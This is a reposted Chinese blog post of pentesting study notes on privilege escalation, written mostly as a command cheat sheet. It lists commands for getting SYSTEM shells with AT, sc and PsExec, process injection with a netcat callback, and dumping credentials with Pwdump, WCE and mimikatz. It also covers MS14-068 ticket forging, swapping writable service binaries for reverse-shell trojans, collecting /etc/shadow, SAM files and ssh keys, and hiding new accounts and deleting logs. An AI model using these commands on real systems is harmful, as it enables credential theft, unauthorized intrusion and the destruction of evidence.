博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
提权学习
阅读量:3903 次
发布时间:2019-05-23

本文共 6062 字,大约阅读时间需要 20 分钟。

0x1 windows账号关系

windows下的账户权限关系

  • System 大于 Administrator 大于 普通用户
  • System 不完全包括 Administrator
  • System 不完全包括 普通用户
  • Administrator 完全包括 普通用户

0x2 windows本地提权

1. AT命

xp的AT命令(WIN2003也可以),win10中已弃用改为schtasks.exe,这是一条做系统调度任务的命令。

  • 令启动system权限的cmd
    AT xx:xx(时间) /interactive cmd
    这样启动的cmd就是system权限,使用这个cmd启动的任务也是system权限。
  • 启动一个system权限的桌面环境
    使用system的cmd执行taskmgr(即任务管理器)
    使用这个任务管理器结束explorer.exe进程
    文件->新建一个explorer进程

2. SC命令

SC 是用来与服务控制管理器和服务进行通信 的命令行程序。

  • 创建并启动服务
    服务的默认启动权限是system,达到本地提权的目的。
    sc Create syscmd binPath= "cmd /K start" type= own type= interact
    sc start syscmd
    注意第一条命令参数和等于之间有空格

3. SysinternalsSuite工具包

使用其中的PsExec.exe进行提权

.\PsExec.exe -i -s

  • 如果出现错误:
    Error codes returned by PsExec are specific to the applications you
    execute, not PsExec.

0x3 注入进程提权

使用processinjector工具注入一个system权限的进程

pinjector.exe -l 列出当前进程
pinjector.exe -p pid cmd 开放端口号
等待回连
nc -nv 192.168.1.20 开放端口号
这种方式的好处在于没有新增进程,较为隐蔽。但是只有当防火墙开放对应端口的时候才能成功连接。

0x4 本地缓存密码

  • 浏览器缓存的密码

    可能会存储服务器上管理员账号的密码

  • 控制面板-凭据管理器 web凭据、windows凭据

    包括一些web、域、ftp、共享账号还可能存在远程桌面的账号密码,win10系统需要确认账号密码才能查看密码

  • 无线密码

    -

  • Dump SAM

    Pwdump (可以远程执行)
    在kali中的位置:/usr/share/windows-binaries/fgdump/
    执行方式:
    .\Pwdump.exe localhost
    将会生成将生成的密码hash值保存,送到kali中破解或者使用其他平台进行hash碰撞

0x5 WCE (WINDOWS CREDENTIAL EDITOR)工具

kali中的位置:/usr/share/wce/

该工具需要管理员权限运行,并且该工具是从内存中读取信息。
wce-universal.exe -l / -lv
列出有登录会话(已登录)的用户名和密码hash
-lv显示详细信息,safe mode是安全模式,less-safe mode 是不安全的注入模式,这种模式探查信息可能会对系统造成破坏
wce-universal.exe -d
指定一个luid(登录会话)将其删除
wce-universal.exe -e / -r
-e每次有登录的时候刷新
-r参数表示每隔5s刷新登陆会话
wce-universal.exe -g
后面跟一个明文密码,计算改密码的hash
wce-universal.exe -w
显示WDigest-已登陆的用户在内存中的明文密码
LM/NT hash

  • 防御WCE的攻击

修改注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

kerberos
msv1_0 schannel
wdigest (直到win7默认都有)
tspkg (终端服务,远程桌面连接时使用的安全包)
pku2u

0x6 mimikatz-王者工具

cls-----------------------------清屏

exit----------------------------退出
version------------查看mimikatz的版本
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称–启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords–获登陆用户信息及密码

0x7 利用漏洞提权

利用发布的和0day漏洞对目标机器进行提权。在域环境中提权到域管理员可以百倍千倍扩大战果。

1. 利用pyinstaller将python打包成可执行文件

python --onefile

在目标系统(英文版XP或者win2003,在中文版系统上只能做破坏系统使其重启)运行,可以从普通用户提权到管理员。

这个方法本地未经过测试,原因是:

本地有python2+3环境,cmd中的(即配置了环境变量的)pip属于python3,使用其安装pyinstaller后,一方面它不在python3的安装目录下(不知道是不是只有我是这样的)而是在C:\Users\Administrator\AppData\Roaming\Python\Python37\Scripts
目录下,?,根本找不到啊!
费尽心思终于找到这个东西了,但是运行的时候发现18176.py这个脚本是python2的和python3有语法冲突(其实在就料到了)。
当我尝试从python2安装路径中的script中直接使用pip安装一个python2版本的pyinstaller,失败了。我也就放弃实验了。

2. MS14-068

  • -
    searchsploit ms14-068
    -u -s userSID -d
    拷贝 TGT_user1@lab.com.ccache 到windows系统
  • 本地管理员登陆
    mimikatz.exe log “kerberos::ptc TGT_user@lab.com.ccache” exit

0x8 利用不当配置提权

与漏洞提权相比,利用不当配置是更常用的方法。在企业环境中往往补丁更新的全部已经安装。

1. NTFS(文件管理系统)权限允许users修改删除

利用这个配置不当,可以替换windows开机自启的服务程序为木马程序。

木马程序可以使用反弹shell木马,也可以是一个修改系统配置的程序,木马可以注入到某个服务启动exe或者某个应用的exe。

  • Icacls

    显示或者修改文件的访问控制表。
    icacls C:\Windows*.exe /save perm.txt /T
    输出示例:
    bfsvc.exe
    D:PAI(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)S:AI
    explorer.exe
    D:PAI(A;;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;0x1200a9;;;BA)(A;;0x1200a9;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)S:AI
    HelpPane.exe
    以(A;;0x1200a9;;;BU)为例,BU是普通用户,A是权限标识,如果一个BU用户的权限是F(full)或者FA,那么这就是一个不当配置,可以使用普通用户修改替换删除该程序。

  • 在linux系统中使用ls -l

    例如:
    -rwxr-xr-x 1 root root 2581 4月 4 2018
    -rwxr-xr-x 1 root root 2338 4月 4 2018
    -rwxr-xr-x 1 root root 2355 4月 4 2018
    -所属用户权限-用户组权限-其他用户权限
    查找系统中所有的权限开放的程序
    find / -perm 777 -exec ls -l {} ;

0x9 进行信息收集

  • Linux

    • /etc/resolv.conf (dns解析,篡改/劫持)
    • /etc/passwd (账号)
    • /etc/shadow (密码)
    • whoami
    • who –a (当前登录的用户)
    • ifconfig -a, iptables -L -n, ifconfig –a, netstat –r
    • uname –a
    • ps aux
    • dpkg -l| head

  • Windows

    • ipconfig /all , ipconfig /displaydns(dns缓存), netstat -bnao , netstat –r(路由)
    • net view , net view /domain (网络共享)
    • net user /domain, net user %username% /domain (域账号信息)
    • net accounts, net share (当前机器开启的共享)
    • net group “Domain Controllers” /domain (查看域控制器)
    • net share name$=C:\ /unlimited (共享C,无限制)
    • net user username /active:yes /domain (开启被锁定账号,需要域管理员权限)

  • WMIC收集系统信息

    WMIC(WINDOWS MANAGEMENT INSTRUMENTATION) – Windows管理工具
    • wmic nicconfig get ipaddress,macaddress
    • wmic computersystem get username
    • wmic netlogin get name,lastlogon
    • wmic process get caption, executablepath,commandline (查询进程,启动进程的程序,启动命令)
    • wmic process where name=“calc.exe" call terminate (kill进程)
    • wmic os get name,servicepackmajorversion (系统信息)
    • wmic product get name,version (安装的产品)
    • wmic product where name=“name” call uninstall /nointeractive (静默卸载)
    • wmic share get /ALL
    • wmic /node:“machinename” path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections “1” (开启远程桌面,win10不可用)
    • wmic nteventlog get path,filename, writeable (查看事件记录进程)

  • 收集敏感数据

    • 商业信息
    • 系统信息
    • Linux
      - /etc ;/usr/local/etc
      - /etc/password ;/etc/shadow
      - .ssh ;.gnupg 公私钥
      - The e-mail and data files
      - 业务数据库;身份认证服务器数据库
      - /tmp
  • windows

    • SAM 数据库 ; 注册表文件
    • %SYSTEMROOT%\repair\SAM (SAM修复操作保存的副本)
    • %SYSTEMROOT%\System32\config\RegBack\SAM (注册表备份)
    • 业务数据库 ; 身份认证数据库
    • 临时文件目录
    • UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\

0x10 隐藏痕迹

  • 禁止在登陆界面显示新建账号
    REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T REG_DWORD /D 0
  • del %WINDIR%*.log /a/s/q/f
  • History
  • 日志
    + auth.log / secure
    + btmp / wtmp
    + lastlog / faillog
    + 其他日志和 HIDS 等

转载地址:http://xnoen.baihongyu.com/

你可能感兴趣的文章
【vue学习】—条件判断、循环遍历
查看>>
【vue学习】—slot插槽的使用
查看>>
【vue学习】—前端模块化
查看>>
STM32 外部中断
查看>>
STM32 PWM
查看>>
STM32 PWM波驱动模拟舵机(库函数版)
查看>>
STM32——ADC
查看>>
破解百度网盘屏蔽文件分享失效被和谐的独家秘籍
查看>>
STM32F10X_XX宏定义的选择
查看>>
在头文件声明全局变量和创建extern
查看>>
stm32 USART 串口通信[操作寄存器+库函数]
查看>>
MATLAB画图常用调整代码
查看>>
WORD2010加载mathtype6.6
查看>>
TTL电平、CMOS电平、RS232电平的区别
查看>>
c语言那些细节之a+1和&a+1的区别
查看>>
交换两个变量的值,不使用第三个变量的四种法方
查看>>
STM32 产生随机数
查看>>
MFC 动态曲线 支持缩放 显示图例(CStatic派生类)
查看>>
STM32 变量存储问题
查看>>
win7下安装纯净版XP
查看>>